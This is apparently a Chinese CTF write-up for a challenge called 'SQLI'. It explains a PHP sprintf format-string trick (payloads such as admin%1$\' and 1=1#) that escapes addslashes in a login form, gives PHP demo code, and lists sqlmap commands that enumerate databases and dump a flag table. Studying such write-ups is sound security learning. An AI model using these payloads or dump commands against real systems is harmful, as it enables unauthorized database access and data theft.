"迎圣诞,拿大奖"赛题——SQLI
0x00题目
结合题目给出的“SQLI”与页面,正常思路是SQL注入,尝试用admin账户登陆,提示password error,证明有admin用户存在,那么就对username进行注入,尝试弱口令
0x01发现注入点
开始在username处进行常规注入,考虑万能密码,所以直接使用burpsuit的intruder跑一下,查看那些字母或者字符没有被过滤掉(waf字典),但发现带有%的response中返回长度不一样,查看回显发现提示
构造username=admin%1$\' and 1=2#
与 username=admin%1$\' and 1=1#
可以发现返回结果不一样,'单引号后面的语句肯定带入执行了,于是确定注入点,借助sqlmap工具开始注入。
0x02sprintf()详解
sprintf() 函数把格式化的字符串写入变量中。
sprintf(format,arg1,arg2,arg++)
arg1、arg2、arg++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。
注释:如果 % 符号多于 arg 参数,则必须使用占位符。占位符位于 % 符号之后,由数字和 “$” 组成。
实例有二
<?php
$sql = "select * from user where username = '%\' and 1=1#';" ;
//构造输入:%\' and 1=1#
$args = "admin" ;
echo sprintf ( $sql , $args ) ;
//=> echo sprintf("select * from user where username = '%\' and 1=1#';", "admin");
//此时%\回去匹配admin字符串,但是%\只会匹配空
运行后的结果等同于
select * from user where username = ‘’ and 1=1#’
<?php
$input = addslashes ("%1$' and 1=1#" );
$b = sprintf ("AND b='%s'", $input );
$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );
//对$input与$b进行了拼接
//$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' );
//很明显,这个句子里面的\是由addsashes为了转义单引号而加上的,使用%s与%1$\类匹配admin,那么admin只会出现在%s里,%1$\为空
echo $sql ;
运行后的结果
SELECT * FROM t WHERE a=‘admin’ AND b=’’ and 1=1#’
所以sprintf格式化字符串注入的原理为:
%后的一个字符(除了’%’)会被当作字符类型而被吃掉(除了%,%%会被当成%),也就是被当作一个类型进行匹配后面的变量,就像%c匹配asciii码,%d匹配整数一样,如果不在定义的类型(比如%)也会匹配,只是匹配为空,这样就使得单引号逃逸,也就是能够起到闭合的作用。
注入过程
1、将HTTP请求保存在1.txt里,执行命令
sqlmap -r '1.txt' -p username --level 3 --dbs
//查找数据库
2、对ctf库跑tables
3、对flag跑columns
sqlmap -r 3.txt -p username --level 3 -D ctf -T flag -C flag --dump --thread 10